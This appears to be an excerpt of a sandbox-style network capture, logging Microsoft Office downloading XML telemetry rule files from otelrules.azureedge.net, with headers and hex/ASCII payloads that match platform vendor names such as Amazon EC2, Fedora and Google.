0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.8	56392	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:54 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:54 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 075488ae-001e-0065-2f1a-3e0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181254Z-178bfbc474bwh9gmhC1NYCy3rs00000006bg00000000dqya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:54 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.8	56394	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:54 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:54 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 2abfc2a9-b01e-003d-094d-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181254Z-15b8b599d886w4hzhC1TEBb4ug00000004ug00000000btgz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:54 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.8	56393	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:54 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:54 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181254Z-178bfbc474bv7whqhC1NYC1fg400000006dg000000001dhs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:54 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.8	56395	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:54 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:55 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 9177d9ad-001e-0028-350e-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181255Z-178bfbc474b7cbwqhC1NYC8z4n0000000680000000007rb0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:55 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.8	56398	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:56 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:56 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:56 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: b70f59bb-c01e-0079-1f91-3de51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181256Z-15b8b599d88g5tp8hC1TEByx6w00000004t0000000008fph x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:56 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.8	56399	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:56 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:56 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6917304d-001e-0079-0164-3d12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181256Z-15b8b599d88wn9hhhC1TEBry0g00000004xg000000003hw7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:56 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.8	56401	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:56 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:57 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7e801f10-e01e-003c-746c-3dc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181257Z-15b8b599d889gj5whC1TEBfyk000000004mg00000000afyb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:57 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.8	56400	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:56 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:57 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181257Z-174c587ffdfldtt2hC1TEBwv9c00000004g000000000skvm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:57 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.8	56402	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:57 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:57 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 25a1d219-c01e-007a-1943-3cb877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181257Z-178bfbc474btrnf9hC1NYCb80g00000006hg000000003dws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:57 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.8	56403	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:58 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:58 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 90758f84-b01e-0021-4c46-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181258Z-178bfbc474b7cbwqhC1NYC8z4n0000000690000000005m9f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:59 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.8	56404	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:58 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:59 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 907655e5-001e-0065-594b-3c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181259Z-15b8b599d882l6clhC1TEBxd5c00000004sg000000003g4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:12:59 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.8	56405	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:59 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 18:12:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:12:59 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 1e280d2f-401e-0029-0d7f-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T181259Z-174c587ffdfn4nhwhC1TEB2nbc00000004sg00000000prtc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
